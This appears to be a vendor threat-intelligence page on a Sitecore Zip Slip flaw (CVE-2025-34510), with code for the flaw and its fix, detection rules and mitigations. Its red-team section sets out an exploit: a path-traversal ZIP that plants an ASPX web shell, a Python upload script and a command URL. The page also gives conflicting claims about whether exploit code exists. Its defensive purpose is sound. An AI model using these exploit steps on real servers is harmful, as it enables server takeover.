CVE-2025-34510
Executive Summary
CVE-2025-34510 is a critical Zip Slip vulnerability (CWE-22) affecting Sitecore Experience Manager (XM), Experience Platform (XP), and Experience Commerce (XC) versions 9.0 through 9.3 and 10.0 through 10.4. A remote, authenticated attacker can exploit this flaw by uploading a crafted ZIP archive containing path traversal sequences (e.g., ../). This allows arbitrary file writes outside the intended extraction directory, leading to remote code execution (RCE) on the server. The vulnerability has a CVSS score of 8.8 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for full server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Sitecore is a proprietary enterprise CMS platform. This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in the core product itself. Organizations using Sitecore should treat this as a critical supply chain risk and immediately isolate affected systems until a patch is available.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs valid Sitecore credentials.
- User Interaction: None (UI:N) – No user action needed.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full file read access possible.
- Integrity Impact: High (I:H) – Arbitrary file write leads to code execution.
- Availability Impact: High (A:H) – Can overwrite critical system files.
Threat Level: Critical. Although no public exploit exists, the vulnerability is trivial to exploit once understood, and the impact is complete server takeover.
Deep Dive & Mechanics
The Zip Slip vulnerability arises when an application extracts a ZIP archive without validating file paths. In Sitecore, the file upload functionality for media or package imports does not sanitize path traversal sequences (e.g., ../evil.txt) within ZIP entries. When the archive is extracted, files are written to arbitrary locations on the filesystem.
Attack Flow:
- Attacker authenticates to Sitecore (e.g., as a content editor or administrator).
- Attacker crafts a ZIP archive containing a file with a path like
../../App_Config/Include/evil.config. - Attacker uploads the ZIP via a vulnerable endpoint (e.g., media upload, package import).
- Sitecore extracts the archive, writing the file outside the intended directory.
- If the written file is a web shell (e.g.,
.aspxin the web root) or a configuration file (e.g.,App_Config/Include/), the attacker achieves code execution.
Root Cause: Lack of path normalization in the extraction logic. The code likely uses ZipEntry.Name directly without checking for ../ sequences.
Vulnerable vs. Patched Code
Vulnerable Code (C# example):
using (ZipArchive archive = ZipFile.OpenRead(uploadedFilePath))
{
foreach (ZipArchiveEntry entry in archive.Entries)
{
string destinationPath = Path.Combine(extractPath, entry.FullName);
entry.ExtractToFile(destinationPath, overwrite: true);
}
}
This code directly uses entry.FullName without sanitization, allowing path traversal.
Patched Code (Hypothetical):
using (ZipArchive archive = ZipFile.OpenRead(uploadedFilePath))
{
foreach (ZipArchiveEntry entry in archive.Entries)
{
string destinationPath = Path.GetFullPath(Path.Combine(extractPath, entry.FullName));
if (!destinationPath.StartsWith(Path.GetFullPath(extractPath)))
{
throw new InvalidOperationException("Invalid path traversal detected.");
}
entry.ExtractToFile(destinationPath, overwrite: true);
}
}
The patched version normalizes the path and checks that it stays within the intended directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid Sitecore credentials (e.g.,
adminrole). - Access to a file upload endpoint (e.g.,
/sitecore/shell/Applications/Media/MediaFolder.aspxor package import).
Step-by-Step Exploit:
- Create a malicious ZIP archive:
# Create a web shell (e.g., cmd.aspx) echo '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="cmd.aspx.cs" Inherits="cmd" %>' > cmd.aspx # Add it to a ZIP with path traversal zip -r exploit.zip ../../sitecore/shell/ClientBin/cmd.aspx - Upload the ZIP via the vulnerable endpoint (e.g., using Burp Suite or a Python script):
import requests url = "https://target.sitecore.com/sitecore/shell/Applications/Media/MediaFolder.aspx" files = {"file": ("exploit.zip", open("exploit.zip", "rb"), "application/zip")} cookies = {"ASP.NET_SessionId": "your_session"} requests.post(url, files=files, cookies=cookies) - Access the web shell:
https://target.sitecore.com/sitecore/shell/ClientBin/cmd.aspx?cmd=whoami
Alternative Payload: Overwrite a Sitecore configuration file (e.g., App_Config/Include/evil.config) to disable authentication or enable debugging.
Blue Team (Detection & Hardening)
Detection:
- Monitor for ZIP file uploads to sensitive endpoints (e.g., media upload, package import).
- Look for path traversal patterns in HTTP requests (e.g.,
../in multipart form data). - Alert on file writes outside the expected upload directory (e.g.,
C:\inetpub\wwwroot\sitecore\Upload).
Hardening:
- Implement input validation for ZIP entry names (reject
../or..\). - Use a sandboxed extraction library (e.g.,
SharpZipLibwith path validation). - Restrict write permissions on the web root and configuration directories.
- Enable Windows Defender Application Control (WDAC) to block unauthorized executables.
Indicators of Compromise (IOCs)
File System IOCs:
- Unexpected files in
C:\inetpub\wwwroot\sitecore\App_Config\Include\(e.g.,evil.config). - Web shells in
C:\inetpub\wwwroot\sitecore\shell\ClientBin\(e.g.,cmd.aspx). - Files with path traversal patterns in ZIP archives (e.g.,
../../).
Network IOCs:
- HTTP POST requests to
/sitecore/shell/Applications/Media/MediaFolder.aspxwithContent-Type: multipart/form-dataand ZIP files. - Outbound connections from the Sitecore server to unknown IPs (e.g., for reverse shell).
Log IOCs:
- Sitecore logs showing extraction errors or unexpected file paths.
- Windows Event ID 4663 (file write) for files outside the upload directory.
Detection Engineering
YARA Rule
rule ZipSlip_Sitecore_CVE_2025_34510 {
meta:
description = "Detects ZIP archives with path traversal sequences targeting Sitecore"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-34510"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$sitecore_path = "sitecore" nocase
$zip_magic = {50 4B 03 04} // ZIP local file header
condition:
$zip_magic at 0 and any of ($traversal*) and $sitecore_path
}
Sigma Rule
title: Sitecore Zip Slip Exploitation Attempt
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects HTTP requests containing ZIP files with path traversal patterns targeting Sitecore
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-34510
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/sitecore/shell/Applications/Media/MediaFolder.aspx'
cs-content-type|contains: 'multipart/form-data'
condition: selection
falsepositives:
- Legitimate ZIP uploads with nested directories (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-34510 Sitecore Zip Slip Exploitation"; flow:to_server; content:"POST"; http_method; content:"/sitecore/shell/Applications/Media/MediaFolder.aspx"; http_uri; content:"multipart/form-data"; http_content_type; content:"../"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected Sitecore instances from the internet if possible.
- Disable ZIP upload functionality in Sitecore (e.g., remove media upload permissions for non-admin users).
- Apply virtual patching via WAF rules (e.g., block
../in multipart form data).
Long-Term Fix:
- Wait for an official patch from Sitecore. Monitor their security advisory page.
- Implement custom path validation in the Sitecore pipeline (e.g.,
uploadFileprocessor). - Upgrade to a patched version once available.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block ZIP uploads containing path traversal:
location /sitecore/shell/Applications/Media/MediaFolder.aspx { if ($request_body ~* "\.\./") { return 403; } }
Valters IT
DevSecOps & Cyber Threat Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.